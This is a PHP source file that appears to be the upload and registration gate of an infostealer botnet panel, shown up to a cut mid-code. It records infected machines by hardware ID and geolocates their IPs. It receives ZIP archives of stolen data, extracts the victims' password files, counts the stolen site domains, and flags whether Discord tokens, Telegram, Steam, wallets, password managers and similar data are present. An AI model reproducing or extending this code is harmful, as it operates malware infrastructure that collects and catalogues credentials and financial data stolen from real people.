<?php
//error_reporting(0);
include("config.php");

// Fetch settings once and make them available globally or pass as needed
$settings_query = mysqli_query($condb, "SELECT * FROM `settings` LIMIT 1");
$settings = mysqli_fetch_array($settings_query);
$GLOBALS['default_username_setting'] = isset($settings['username']) ? $settings['username'] : 'admin';

// Enable error reporting but don't log to file
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Function to safely handle database queries
function safe_query($conn, $query) {
    $result = mysqli_query($conn, $query);
    if (!$result) {
        // Log the error but don't crash
        error_log("Database query error: " . mysqli_error($conn) . " Query: " . $query);
        return false;
    }
    return $result;
}

// Function to validate and sanitize numeric inputs
function validate_numeric($value, $default = 0) {
    if ($value === null || $value === '') {
        return $default;
    }
    $value = intval($value);
    return ($value < 0) ? $default : $value;
}

function safe_id($data){
  $data =  trim($data);
  $data =  strip_tags($data);
  $data =  htmlspecialchars($data);
  $data =  addslashes($data);
  return $data;
}

// Function to ensure bot entry in database and immediately create logs entry
function ensure_bot_and_logs($hwid, $username = '') {
    global $condb;
    // Use the globally fetched default username
    global $default_username_setting;
    
    // Get current timestamp
    $currentDateTime = date('Y/m/d h:i:s A');
    
    // Get IP and country
    $ip = $_SERVER['REMOTE_ADDR'];
    $loc = json_decode(file_get_contents('http://ip-api.com/json/'.$ip), true);
    $c = $loc['countryCode'];
    
    // Get default username from settings if not provided
    if (empty($username)) {
        // $sql = mysqli_query($condb, "SELECT * FROM `settings` LIMIT 1");
        // $row = mysqli_fetch_array($sql);
        // $username = isset($row['username']) ? $row['username'] : 'admin';
        $username = $default_username_setting;
    }
    
    // Check if bot exists
    $checkBotQuery = "SELECT COUNT(*) as count FROM bot WHERE HWID = ?";
    $stmt = mysqli_prepare($condb, $checkBotQuery);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    $row = mysqli_fetch_assoc($result);
    
    // Insert or update bot
    if ($row['count'] > 0) {
        // Update existing bot
        $updateQuery = "UPDATE bot SET Date_Time = ?, IP = ?, Country = ? WHERE HWID = ?";
        $stmt = mysqli_prepare($condb, $updateQuery);
        mysqli_stmt_bind_param($stmt, "ssss", $currentDateTime, $ip, $c, $hwid);
        mysqli_stmt_execute($stmt);
    } else {
        // Insert new bot
        $insertQuery = "INSERT INTO bot (HWID, Date_Time, IP, Country) VALUES (?, ?, ?, ?)";
        $stmt = mysqli_prepare($condb, $insertQuery);
        mysqli_stmt_bind_param($stmt, "ssss", $hwid, $currentDateTime, $ip, $c);
        mysqli_stmt_execute($stmt);
    }
    
    // Check if logs entry exists
    $checkLogsQuery = "SELECT COUNT(*) as count FROM logs WHERE hwid = ?";
    $stmt = mysqli_prepare($condb, $checkLogsQuery);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    $row = mysqli_fetch_assoc($result);
    
    // Create logs entry if it doesn't exist
    if ($row['count'] == 0) {
        $insertLogsQuery = "INSERT INTO logs (
            hwid, 
            username,
            IP, 
            Country, 
            Passwords,
            CreditCards,
            Cookies,
            AutoFill,
            Wallets,
            VPN,
            Telegram,
            Steam,
            Gaming,
            OtherMessengers,
            Discord,
            DevTools,
            EmailClients,
            PasswordManagers,
            RemoteAccess,
            CloudStorage,
            BrowserExtended,
            last_updated
        ) VALUES (
            ?, 
            ?,
            ?,
            ?,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            NOW()
        )";
        $stmt = mysqli_prepare($condb, $insertLogsQuery);
        mysqli_stmt_bind_param($stmt, "ssss", $hwid, $username, $ip, $c);
        mysqli_stmt_execute($stmt);
    }
    
    // Extract zip file if available but files aren't yet extracted
    extract_zip_if_needed($hwid);
    
    // Update statistics
    update_bot_statistics($hwid, $username);
    
    return true;
}

// Function to extract zip file if needed
function extract_zip_if_needed($hwid) {
    $baseDir = 'upload/' . $hwid;
    $zipPath = $baseDir . '/' . $hwid . '.zip';
    
    // Log extraction attempt
    error_log("Checking ZIP path for selective extraction: {$zipPath}");
    
    // Skip if zip doesn't exist
    if (!file_exists($zipPath)) {
        error_log("ZIP file does not exist: {$zipPath}");
        return;
    }
    
    error_log("ZIP file exists: {$zipPath} - Size: " . filesize($zipPath) . " bytes");
    
    // Check if password files are already extracted
    $passwordFiles = [
        $baseDir . '/passwords.txt',
        $baseDir . '/Passwords.txt',
        $baseDir . '/password.txt',
        $baseDir . '/Password.txt'
    ];
    
    $passwordFilesExist = false;
    foreach ($passwordFiles as $file) {
        if (file_exists($file)) {
            $passwordFilesExist = true;
            error_log("Password file already exists: {$file}");
            break;
        }
    }
    
    // If password files exist, we don't need to extract
    if ($passwordFilesExist) {
        error_log("Password files already present, skipping extraction");
        return;
    }
    
    // Ensure the base directory exists
    if (!is_dir($baseDir)) {
        error_log("Creating base directory: {$baseDir}");
        mkdir($baseDir, 0777, true);
    }
    
    // Selectively extract only main password file
    $zip = new ZipArchive();
    if ($zip->open($zipPath) === TRUE) {
        error_log("Successfully opened ZIP file: {$zipPath}");
        error_log("ZIP contains " . $zip->numFiles . " files");
        
        // Define the only files we want to extract - root passwords.txt files only
        $mainPasswordFiles = [
            'passwords.txt',
            'Passwords.txt',
            'password.txt',
            'Password.txt'
        ];
        
        $extractedSomething = false;
        
        // Only extract root-level password files
        foreach ($mainPasswordFiles as $passwordFile) {
            $index = $zip->locateName($passwordFile, ZipArchive::FL_NODIR);
            if ($index !== false) {
                error_log("Found password file: $passwordFile - extracting");
                $zip->extractTo($baseDir, $passwordFile);
                $extractedSomething = true;
                break; // Only extract the first password file found
            }
        }
        
        $zip->close();
        
        if ($extractedSomething) {
            error_log("Successfully extracted password files for HWID: {$hwid}");
            
            // Verify extraction by checking if at least one password file exists
            $passwordFileFound = false;
            foreach ($passwordFiles as $file) {
                if (file_exists($file)) {
                    error_log("Verified password file was extracted: $file");
                    $passwordFileFound = true;
                    break;
                }
            }
            
            if (!$passwordFileFound) {
                error_log("Extraction completed but no password files found in root directory");
            }
        } else {
            error_log("No password files found in ZIP to extract");
        }
    } else {
        error_log("Failed to open ZIP for HWID: {$hwid}");
    }
}

// Function to update bot statistics
function update_bot_statistics($hwid, $username = '') {
    global $condb;
    
    // Get current stats
    $baseDir = 'upload/' . $hwid;
    
    // Count URLs and extract domains
    $urlCount = 0;
    $domains = array();
    
    // Check multiple password filename patterns in the base directory
    $passwordFiles = glob($baseDir . '/*[Pp]assword*.txt');
    foreach ($passwordFiles as $file) {
        if (file_exists($file) && is_readable($file)) {
            error_log("Reading password file for URLs: " . $file);
            // Use the countPasswords function to count unique URLs
            $fileUrlCount = countPasswords($file);
            $urlCount += $fileUrlCount;
            error_log("Found {$fileUrlCount} unique URLs in " . basename($file));
            
            // Extract domains for this file
            $content = file_get_contents($file);
            if ($content !== false) {
                $fileContent = file_get_contents($file);
                preg_match_all('/URL\s*[:=\s]\s*(https?:\/\/[^\/\s]+)/i', $fileContent, $matches);
                
                if (!empty($matches[1])) {
                    foreach ($matches[1] as $url) {
                        $domain = parse_url($url, PHP_URL_HOST);
                        if ($domain && !in_array($domain, $domains)) {
                            $domains[] = $domain;
                            error_log("Domain found: " . $domain);
                        }
                    }
                }
            }
        }
    }
    
    // Also check for passwords in Browsers directory
    $browsersDir = $baseDir . '/Browsers';
    if (is_dir($browsersDir)) {
        $browserPasswordFiles = glob($browsersDir . '/*[Pp]assword*.txt');
        foreach ($browserPasswordFiles as $file) {
            if (file_exists($file) && is_readable($file)) {
                error_log("Reading browser password file for URLs: " . $file);
                // Use the countPasswords function to count unique URLs
                $fileUrlCount = countPasswords($file);
                $urlCount += $fileUrlCount;
                error_log("Found {$fileUrlCount} unique URLs in " . basename($file));
                
                // Extract domains for this file
                $content = file_get_contents($file);
                if ($content !== false) {
                    preg_match_all('/URL\s*[:=\s]\s*(https?:\/\/[^\/\s]+)/i', $content, $matches);
                    
                    if (!empty($matches[1])) {
                        foreach ($matches[1] as $url) {
                            $domain = parse_url($url, PHP_URL_HOST);
                            if ($domain && !in_array($domain, $domains)) {
                                $domains[] = $domain;
                                error_log("Domain found in browser file: " . $domain);
                            }
                        }
                    }
                }
            }
        }
    }
    
    // If no URLs found or no password files found, try reading directly from the ZIP file
    $zipPath = $baseDir . '/' . $hwid . '.zip';
    if (($urlCount == 0 || empty($passwordFiles)) && file_exists($zipPath)) {
        error_log("No password files found, attempting to read directly from ZIP: " . $zipPath);
        
        $zip = new ZipArchive();
        if ($zip->open($zipPath) === TRUE) {
            error_log("Successfully opened ZIP file containing " . $zip->numFiles . " files");
            
            // Look for password files in ZIP
            for ($i = 0; $i < $zip->numFiles; $i++) {
                $filename = $zip->getNameIndex($i);
                
                // Only process .txt files with 'password' in the name
                if (stripos($filename, 'password') !== false && substr($filename, -4) === '.txt') {
                    error_log("Found password file in ZIP: " . $filename);
                    
                    $content = $zip->getFromIndex($i);
                    if ($content !== false) {
                        // Use the countPasswordsInContent function to count unique URLs
                        $fileUrlCount = countPasswordsInContent($content);
                        $urlCount += $fileUrlCount;
                        error_log("Found {$fileUrlCount} unique URLs in ZIP file: " . $filename);
                        
                        // Extract domains from this content
                        preg_match_all('/URL\s*[:=\s]\s*(https?:\/\/[^\/\s]+)/i', $content, $matches);
                        
                        if (!empty($matches[1])) {
                            foreach ($matches[1] as $url) {
                                $domain = parse_url($url, PHP_URL_HOST);
                                if ($domain && !in_array($domain, $domains)) {
                                    $domains[] = $domain;
                                    error_log("Domain found in ZIP file: " . $domain);
                                }
                            }
                        }
                    }
                }
            }
            
            $zip->close();
        }
    }
    
    // Remove duplicates and sort domains
    $domains = array_unique($domains);
    sort($domains);
    
    // Update domains in database - ONLY domains from password files
    if (!empty($domains)) {
        $domainsStr = implode(',', $domains);
        $updateDomainsQuery = "UPDATE logs SET domains = ? WHERE hwid = ?";
        $stmt_domains = mysqli_prepare($condb, $updateDomainsQuery);
        if ($stmt_domains) {
            mysqli_stmt_bind_param($stmt_domains, "ss", $domainsStr, $hwid);
            mysqli_stmt_execute($stmt_domains);
            error_log("Updated domains for HWID: {$hwid} - " . count($domains) . " domains found: " . $domainsStr);
            mysqli_stmt_close($stmt_domains);
        }
    } else {
        error_log("No domains found for HWID: {$hwid}");
    }
    
    error_log("[DEBUG] In update_bot_statistics for HWID: {$hwid}. URL count from files: {$urlCount}");

    $updateQuery = "UPDATE logs SET 
        Passwords = ?, 
        pwd_count = ?,
        last_updated = NOW() 
        WHERE hwid = ?";
    
    $stmt = mysqli_prepare($condb, $updateQuery);
    if ($stmt) {
        error_log("[DEBUG] Statement prepared for stats update. Binding: {$urlCount}, {$urlCount}, {$hwid}");
        mysqli_stmt_bind_param($stmt, "iis", 
            $urlCount, 
            $urlCount,
            $hwid
        );
        if (mysqli_stmt_execute($stmt)) {
            error_log("Statistics update successful for HWID: {$hwid}");
        } else {
            error_log("Statistics update failed for HWID: {$hwid} - " . mysqli_stmt_error($stmt));
        }
        mysqli_stmt_close($stmt);
    } else {
        error_log("Failed to prepare update statement for HWID: {$hwid} - " . mysqli_error($condb));
    }

    // Check for existence of other directories to update other statistics
    $telegramExists = is_dir($baseDir . '/Telegram') ? 1 : 0;
    $steamExists = is_dir($baseDir . '/Steam') ? 1 : 0;
    $gamingExists = is_dir($baseDir . '/Gaming') ? 1 : 0;
    $messengerExists = is_dir($baseDir . '/Messenger') || is_dir($baseDir . '/messengers') ? 1 : 0;
    $discordExists = is_dir($baseDir . '/Discord') ? 1 : 0;
    $devToolsExists = is_dir($baseDir . '/DevTools') ? 1 : 0;
    $emailClientsExists = is_dir($baseDir . '/EmailClients') ? 1 : 0;
    $passwordManagersExists = is_dir($baseDir . '/PasswordManagers') ? 1 : 0;
    $remoteAccessExists = is_dir($baseDir . '/RemoteAccess') ? 1 : 0;
    $cloudStorageExists = is_dir($baseDir . '/CloudStorage') ? 1 : 0;
    $browserExtendedExists = is_dir($baseDir . '/BrowserExtended') ? 1 : 0;
    
    // If directories don't exist in extracted files, check the ZIP
    if (file_exists($zipPath) && 
        (!$telegramExists || !$steamExists || !$gamingExists || !$messengerExists || 
         !$discordExists || !$devToolsExists || !$emailClientsExists || 
         !$passwordManagersExists || !$remoteAccessExists || 
         !$cloudStorageExists || !$browserExtendedExists)) {
        
        $zip = new ZipArchive();
        if ($zip->open($zipPath) === TRUE) {
            error_log("Checking ZIP for service directories: " . $zipPath);
            
            // Check for directory patterns in ZIP entries
            for ($i = 0; $i < $zip->numFiles; $i++) {
                $filename = $zip->getNameIndex($i);
                
                // Check each directory type
                if (!$telegramExists && (stripos($filename, 'Telegram/') === 0 || stripos($filename, 'Telegram\\') === 0)) {
                    $telegramExists = 1;
                    error_log("Found Telegram directory in ZIP");
                }
                
                if (!$steamExists && (stripos($filename, 'Steam/') === 0 || stripos($filename, 'Steam\\') === 0)) {
                    $steamExists = 1;
                    error_log("Found Steam directory in ZIP");
                }
                
                if (!$gamingExists && (stripos($filename, 'Gaming/') === 0 || stripos($filename, 'Gaming\\') === 0)) {
                    $gamingExists = 1;
                    error_log("Found Gaming directory in ZIP");
                }
                
                if (!$messengerExists && 
                    (stripos($filename, 'Messenger/') === 0 || stripos($filename, 'Messenger\\') === 0 ||
                     stripos($filename, 'messengers/') === 0 || stripos($filename, 'messengers\\') === 0)) {
                    $messengerExists = 1;
                    error_log("Found Messenger directory in ZIP");
                }
                
                if (!$discordExists && (stripos($filename, 'Discord/') === 0 || stripos($filename, 'Discord\\') === 0)) {
                    $discordExists = 1;
                    error_log("Found Discord directory in ZIP");
                }
                
                if (!$devToolsExists && (stripos($filename, 'DevTools/') === 0 || stripos($filename, 'DevTools\\') === 0)) {
                    $devToolsExists = 1;
                    error_log("Found DevTools directory in ZIP");
                }
                
                if (!$emailClientsExists && (stripos($filename, 'EmailClients/') === 0 || stripos($filename, 'EmailClients\\') === 0)) {
                    $emailClientsExists = 1;
                    error_log("Found EmailClients directory in ZIP");
                }
                
                if (!$passwordManagersExists && (stripos($filename, 'PasswordManagers/') === 0 || stripos($filename, 'PasswordManagers\\') === 0)) {
                    $passwordManagersExists = 1;
                    error_log("Found PasswordManagers directory in ZIP");
                }
                
                if (!$remoteAccessExists && (stripos($filename, 'RemoteAccess/') === 0 || stripos($filename, 'RemoteAccess\\') === 0)) {
                    $remoteAccessExists = 1;
                    error_log("Found RemoteAccess directory in ZIP");
                }
                
                if (!$cloudStorageExists && (stripos($filename, 'CloudStorage/') === 0 || stripos($filename, 'CloudStorage\\') === 0)) {
                    $cloudStorageExists = 1;
                    error_log("Found CloudStorage directory in ZIP");
                }
                
                if (!$browserExtendedExists && (stripos($filename, 'BrowserExtended/') === 0 || stripos($filename, 'BrowserExtended\\') === 0)) {
                    $browserExtendedExists = 1;
                    error_log("Found BrowserExtended directory in ZIP");
                }
            }
            
            $zip->close();
        }
    }

    // Also check if Discord contains tokens.txt specifically
    $discordTokensExists = file_exists($baseDir . '/Discord/tokens.txt');
    if (!$discordTokensExists && $discordExists && file_exists($zipPath)) {
        $zip = new ZipArchive();
        if ($zip->open($zipPath) === TRUE) {
            $index = $zip->locateName('Discord/tokens.txt');
            if ($index !== false) {
                $discordTokensExists = true;
                error_log("Found Discord/tokens.txt in ZIP");
            }
            $zip->close();
        }
    }
    
    // If Discord tokens exist, make sure Discord is set to 1
    if ($discordTokensExists) {
        $discordExists = 1;
    }
    
    // Log all the detected values
    error_log("Detected stats for HWID {$hwid}:");
    error_log("- URLs: {$urlCount}");
    error_log("- Domains: " . count($domains));
    error_log("- Telegram: {$telegramExists}");
    error_log("- Steam: {$steamExists}");
    error_log("- Gaming: {$gamingExists}");
    error_log("- Messenger: {$messengerExists}");
    error_log("- Discord: {$discordExists}");
    error_log("- DevTools: {$devToolsExists}");
    error_log("- EmailClients: {$emailClientsExists}");
    error_log("- PasswordManagers: {$passwordManagersExists}");
    error_log("- RemoteAccess: {$remoteAccessExists}");
    error_log("- CloudStorage: {$cloudStorageExists}");
    error_log("- BrowserExtended: {$browserExtendedExists}");

    // Update the other stats
    $updateOtherStatsQuery = "UPDATE logs SET 
        telegram = ?,
        steam = ?,
        gaming = ?,
        othermessengers = ?,
        discord = ?,
        devtools = ?,
        emailclients = ?,
        passwordmanagers = ?,
        remoteaccess = ?,
        cloudstorage = ?,
        browserextended = ?
        WHERE hwid = ?";
    
    $stmt = mysqli_prepare($condb, $updateOtherStatsQuery);
    if ($stmt) {
        mysqli_stmt_bind_param($stmt, "iiiiiiiiiiis", 
            $telegramExists,
            $steamExists,
            $gamingExists,
            $messengerExists,
            $discordExists,
            $devToolsExists,
            $emailClientsExists,
            $passwordManagersExists,
            $remoteAccessExists,
            $cloudStorageExists,
            $browserExtendedExists,
            $hwid
        );
        
        if (mysqli_stmt_execute($stmt)) {
            error_log("Other stats update successful for HWID: {$hwid}");
        } else {
            error_log("Other stats update failed for HWID: {$hwid} - " . mysqli_stmt_error($stmt));
        }
        mysqli_stmt_close($stmt);
    } else {
        error_log("Failed to prepare other stats update statement for HWID: {$hwid} - " . mysqli_error($condb));
    }
}

// Get raw POST data
$raw_data = file_get_contents("php://input");

// Get HWID parameter first
$hwid = isset($_GET['hwid']) ? safe_id($_GET['hwid']) : (isset($_POST['hwid']) ? safe_id($_POST['hwid']) : null);

// Check for force update parameter
$force_update = isset($_GET['force']) ? $_GET['force'] === '1' : (isset($_POST['force']) ? $_POST['force'] === '1' : false);

// Get username from URL parameter
$username = isset($_GET['username']) ? $_GET['username'] : '';

// Initialize variables with default values
$Passwords = $CreditCards = $Cookies = $AutoFill = $Wallets = $VPN = $Telegram = 
$Steam = $Gaming = $OtherMessengers = $Discord = $DevTools = $EmailClients = 
$PasswordManagers = $RemoteAccess = $CloudStorage = $BrowserExtended = 0;

if(isset($hwid)) {
    if (!preg_match("/^[-a-zA-Z-0-9]*$/",$hwid)) {
        // Invalid HWID format
        error_log("Invalid HWID format: $hwid");
        exit();
    } else {
        // Ensure bot is registered and logs entry exists
        ensure_bot_and_logs($hwid, $username);
        
        $pwd = getcwd() . "/upload/";

        // Create upload directory if it doesn't exist
        if (!file_exists($pwd)) {
            if (!mkdir($pwd, 0777, true)) {
                error_log("Failed to create upload directory: $pwd");
                exit();
            }
        }

        // Create HWID-specific directory
        $hwid_dir = $pwd . $hwid;
        if (!file_exists($hwid_dir)) {
            if (!mkdir($hwid_dir, 0777, true)) {
                error_log("Failed to create HWID directory: $hwid_dir");
                exit();
            }
        }

        $file_uploaded = false;
        $destination = "";

        // Check if a log entry already exists for this HWID and get existing values
            $q_check = "SELECT * FROM `logs` WHERE `hwid`='$hwid'";
        $query_check = safe_query($condb, $q_check);
        if (!$query_check) {
            error_log("Failed to check for existing log entry: $hwid");
            exit();
        }
            $count_check = mysqli_num_rows($query_check);
        
        if ($count_check > 0) {
            // Get existing values from database
            $existing_data = mysqli_fetch_assoc($query_check);
            
            // If force update is enabled, use provided values or 0
            if ($force_update) {
                $Passwords = validate_numeric(isset($_GET['Passwords']) ? $_GET['Passwords'] : (isset($_POST['Passwords']) ? $_POST['Passwords'] : 0));
                $CreditCards = validate_numeric(isset($_GET['CreditCards']) ? $_GET['CreditCards'] : (isset($_POST['CreditCards']) ? $_POST['CreditCards'] : 0));
                $Cookies = validate_numeric(isset($_GET['Cookies']) ? $_GET['Cookies'] : (isset($_POST['Cookies']) ? $_POST['Cookies'] : 0));
                $AutoFill = validate_numeric(isset($_GET['AutoFill']) ? $_GET['AutoFill'] : (isset($_POST['AutoFill']) ? $_POST['AutoFill'] : 0));
                $Wallets = validate_numeric(isset($_GET['Wallets']) ? $_GET['Wallets'] : (isset($_POST['Wallets']) ? $_POST['Wallets'] : 0));
                $VPN = validate_numeric(isset($_GET['VPN']) ? $_GET['VPN'] : (isset($_POST['VPN']) ? $_POST['VPN'] : 0));
                $Telegram = validate_numeric(isset($_GET['Telegram']) ? $_GET['Telegram'] : (isset($_POST['Telegram']) ? $_POST['Telegram'] : 0));
                $Steam = validate_numeric(isset($_GET['Steam']) ? $_GET['Steam'] : (isset($_POST['Steam']) ? $_POST['Steam'] : 0));
                $Gaming = validate_numeric(isset($_GET['Gaming']) ? $_GET['Gaming'] : (isset($_POST['Gaming']) ? $_POST['Gaming'] : 0));
                $OtherMessengers = validate_numeric(isset($_GET['OtherMessengers']) ? $_GET['OtherMessengers'] : (isset($_POST['OtherMessengers']) ? $_POST['OtherMessengers'] : 0));
                $Discord = validate_numeric(isset($_GET['Discord']) ? $_GET['Discord'] : (isset($_POST['Discord']) ? $_POST['Discord'] : 0));
                $DevTools = validate_numeric(isset($_GET['DevTools']) ? $_GET['DevTools'] : (isset($_POST['DevTools']) ? $_POST['DevTools'] : 0));
                $EmailClients = validate_numeric(isset($_GET['EmailClients']) ? $_GET['EmailClients'] : (isset($_POST['EmailClients']) ? $_POST['EmailClients'] : 0));
                $PasswordManagers = validate_numeric(isset($_GET['PasswordManagers']) ? $_GET['PasswordManagers'] : (isset($_POST['PasswordManagers']) ? $_POST['PasswordManagers'] : 0));
                $RemoteAccess = validate_numeric(isset($_GET['RemoteAccess']) ? $_GET['RemoteAccess'] : (isset($_POST['RemoteAccess']) ? $_POST['RemoteAccess'] : 0));
                $CloudStorage = validate_numeric(isset($_GET['CloudStorage']) ? $_GET['CloudStorage'] : (isset($_POST['CloudStorage']) ? $_POST['CloudStorage'] : 0));
                $BrowserExtended = validate_numeric(isset($_GET['BrowserExtended']) ? $_GET['BrowserExtended'] : (isset($_POST['BrowserExtended']) ? $_POST['BrowserExtended'] : 0));
            } else {
                // Only update values that are provided in the request, otherwise keep existing values
                $Passwords = validate_numeric(isset($_GET['Passwords']) ? $_GET['Passwords'] : (isset($_POST['Passwords']) ? $_POST['Passwords'] : $existing_data['Passwords']));
                $CreditCards = validate_numeric(isset($_GET['CreditCards']) ? $_GET['CreditCards'] : (isset($_POST['CreditCards']) ? $_POST['CreditCards'] : $existing_data['CreditCards']));
                $Cookies = validate_numeric(isset($_GET['Cookies']) ? $_GET['Cookies'] : (isset($_POST['Cookies']) ? $_POST['Cookies'] : $existing_data['Cookies']));
                $AutoFill = validate_numeric(isset($_GET['AutoFill']) ? $_GET['AutoFill'] : (isset($_POST['AutoFill']) ? $_POST['AutoFill'] : $existing_data['AutoFill']));
                $Wallets = validate_numeric(isset($_GET['Wallets']) ? $_GET['Wallets'] : (isset($_POST['Wallets']) ? $_POST['Wallets'] : $existing_data['Wallets']));
                $VPN = validate_numeric(isset($_GET['VPN']) ? $_GET['VPN'] : (isset($_POST['VPN']) ? $_POST['VPN'] : $existing_data['VPN']));
                $Telegram = validate_numeric(isset($_GET['Telegram']) ? $_GET['Telegram'] : (isset($_POST['Telegram']) ? $_POST['Telegram'] : $existing_data['Telegram']));
                $Steam = validate_numeric(isset($_GET['Steam']) ? $_GET['Steam'] : (isset($_POST['Steam']) ? $_POST['Steam'] : $existing_data['Steam']));
                $Gaming = validate_numeric(isset($_GET['Gaming']) ? $_GET['Gaming'] : (isset($_POST['Gaming']) ? $_POST['Gaming'] : $existing_data['Gaming']));
                $OtherMessengers = validate_numeric(isset($_GET['OtherMessengers']) ? $_GET['OtherMessengers'] : (isset($_POST['OtherMessengers']) ? $_POST['OtherMessengers'] : $existing_data['OtherMessengers']));
                $Discord = validate_numeric(isset($_GET['Discord']) ? $_GET['Discord'] : (isset($_POST['Discord']) ? $_POST['Discord'] : $existing_data['Discord']));
                $DevTools = validate_numeric(isset($_GET['DevTools']) ? $_GET['DevTools'] : (isset($_POST['DevTools']) ? $_POST['DevTools'] : $existing_data['DevTools']));
                $EmailClients = validate_numeric(isset($_GET['EmailClients']) ? $_GET['EmailClients'] : (isset($_POST['EmailClients']) ? $_POST['EmailClients'] : $existing_data['EmailClients']));
                $PasswordManagers = validate_numeric(isset($_GET['PasswordManagers']) ? $_GET['PasswordManagers'] : (isset($_POST['PasswordManagers']) ? $_POST['PasswordManagers'] : $existing_data['PasswordManagers']));
                $RemoteAccess = validate_numeric(isset($_GET['RemoteAccess']) ? $_GET['RemoteAccess'] : (isset($_POST['RemoteAccess']) ? $_POST['RemoteAccess'] : $existing_data['RemoteAccess']));
                $CloudStorage = validate_numeric(isset($_GET['CloudStorage']) ? $_GET['CloudStorage'] : (isset($_POST['CloudStorage']) ? $_POST['CloudStorage'] : $existing_data['CloudStorage']));
                $BrowserExtended = validate_numeric(isset($_GET['BrowserExtended']) ? $_GET['BrowserExtended'] : (isset($_POST['BrowserExtended']) ? $_POST['BrowserExtended'] : $existing_data['BrowserExtended']));
            }
            
            // Update logs table with all fields
            $update_logs_query = "UPDATE `logs` SET 
                `Passwords` = '$Passwords',
                `pwd_count` = '$Passwords',
                `CreditCards` = '$CreditCards',
                `cc_count` = '$CreditCards',
                `Cookies` = '$Cookies',
                `cookies_count` = '$Cookies',
                `AutoFill` = '$AutoFill',
                `Wallets` = '$Wallets',
                `wallets_count` = '$Wallets',
                `VPN` = '$VPN',
                `vpn_count` = '$VPN',
                `Telegram` = '$Telegram',
                `Steam` = '$Steam',
                `Gaming` = '$Gaming',
                `OtherMessengers` = '$OtherMessengers',
                `Discord` = '$Discord',
                `DevTools` = '$DevTools',
                `dev_tools_count` = '$DevTools',
                `EmailClients` = '$EmailClients',
                `PasswordManagers` = '$PasswordManagers',
                `RemoteAccess` = '$RemoteAccess',
                `remote_access_count` = '$RemoteAccess',
                `CloudStorage` = '$CloudStorage',
                `cloud_storage_count` = '$CloudStorage',
                `BrowserExtended` = '$BrowserExtended',
                `last_updated` = NOW()
                WHERE `hwid` = '$hwid'";
            $update_logs_result = safe_query($condb, $update_logs_query);
            if (!$update_logs_result) {
                error_log("Failed to update logs table for HWID: $hwid");
            }
        } else {
            // For new entries, get values from request or use default 0
            $Passwords = validate_numeric(isset($_GET['Passwords']) ? $_GET['Passwords'] : (isset($_POST['Passwords']) ? $_POST['Passwords'] : 0));
            $CreditCards = validate_numeric(isset($_GET['CreditCards']) ? $_GET['CreditCards'] : (isset($_POST['CreditCards']) ? $_POST['CreditCards'] : 0));
            $Cookies = validate_numeric(isset($_GET['Cookies']) ? $_GET['Cookies'] : (isset($_POST['Cookies']) ? $_POST['Cookies'] : 0));
            $AutoFill = validate_numeric(isset($_GET['AutoFill']) ? $_GET['AutoFill'] : (isset($_POST['AutoFill']) ? $_POST['AutoFill'] : 0));
            $Wallets = validate_numeric(isset($_GET['Wallets']) ? $_GET['Wallets'] : (isset($_POST['Wallets']) ? $_POST['Wallets'] : 0));
            $VPN = validate_numeric(isset($_GET['VPN']) ? $_GET['VPN'] : (isset($_POST['VPN']) ? $_POST['VPN'] : 0));
            $Telegram = validate_numeric(isset($_GET['Telegram']) ? $_GET['Telegram'] : (isset($_POST['Telegram']) ? $_POST['Telegram'] : 0));
            $Steam = validate_numeric(isset($_GET['Steam']) ? $_GET['Steam'] : (isset($_POST['Steam']) ? $_POST['Steam'] : 0));
            $Gaming = validate_numeric(isset($_GET['Gaming']) ? $_GET['Gaming'] : (isset($_POST['Gaming']) ? $_POST['Gaming'] : 0));
            $OtherMessengers = validate_numeric(isset($_GET['OtherMessengers']) ? $_GET['OtherMessengers'] : (isset($_POST['OtherMessengers']) ? $_POST['OtherMessengers'] : 0));
            $Discord = validate_numeric(isset($_GET['Discord']) ? $_GET['Discord'] : (isset($_POST['Discord']) ? $_POST['Discord'] : 0));
            $DevTools = validate_numeric(isset($_GET['DevTools']) ? $_GET['DevTools'] : (isset($_POST['DevTools']) ? $_POST['DevTools'] : 0));
            $EmailClients = validate_numeric(isset($_GET['EmailClients']) ? $_GET['EmailClients'] : (isset($_POST['EmailClients']) ? $_POST['EmailClients'] : 0));
            $PasswordManagers = validate_numeric(isset($_GET['PasswordManagers']) ? $_GET['PasswordManagers'] : (isset($_POST['PasswordManagers']) ? $_POST['PasswordManagers'] : 0));
            $RemoteAccess = validate_numeric(isset($_GET['RemoteAccess']) ? $_GET['RemoteAccess'] : (isset($_POST['RemoteAccess']) ? $_POST['RemoteAccess'] : 0));
            $CloudStorage = validate_numeric(isset($_GET['CloudStorage']) ? $_GET['CloudStorage'] : (isset($_POST['CloudStorage']) ? $_POST['CloudStorage'] : 0));
            $BrowserExtended = validate_numeric(isset($_GET['BrowserExtended']) ? $_GET['BrowserExtended'] : (isset($_POST['BrowserExtended']) ? $_POST['BrowserExtended'] : 0));
        }

        // Process file upload regardless of whether a log entry exists or not
        // First try to handle raw POST data if it looks like a file
        if (!empty($raw_data) && strlen($raw_data) > 100) {
            
            // Check if it starts with ZIP file signature (PK..)
            if (substr($raw_data, 0, 2) === "PK") {
                $destination = "upload/$hwid/$hwid.zip";
                if (file_put_contents($destination, $raw_data)) {
                    $file_uploaded = true;
                    error_log("Successfully saved raw ZIP data for HWID: $hwid");
                } else {
                    error_log("Failed to save raw ZIP data for HWID: $hwid");
                }
            }
            // If not a ZIP, try to extract from multipart form data
            else if (strpos($raw_data, '------') !== false) {
                $boundary = substr($raw_data, 0, strpos($raw_data, "\r\n"));
                $parts = explode($boundary, $raw_data);
                
                foreach ($parts as $part) {
                    if (strpos($part, 'Content-Type: application/octet-stream') !== false) {
                        $data = substr($part, strpos($part, "\r\n\r\n") + 4);
                        $data = trim($data, "\r\n-");
                        
                        if (substr($data, 0, 2) === "PK") {
                            $destination = "upload/$hwid/$hwid.zip";
                            if (file_put_contents($destination, $data)) {
                                $file_uploaded = true;
                                error_log("Successfully saved multipart ZIP data for HWID: $hwid");
                                break;
                            } else {
                                error_log("Failed to save multipart ZIP data for HWID: $hwid");
                            }
                        }
                    }
                }
            }
        }

        // If raw data processing failed, try regular file upload
        if (!$file_uploaded && isset($_FILES["file"]) && $_FILES["file"]["error"] == 0) {
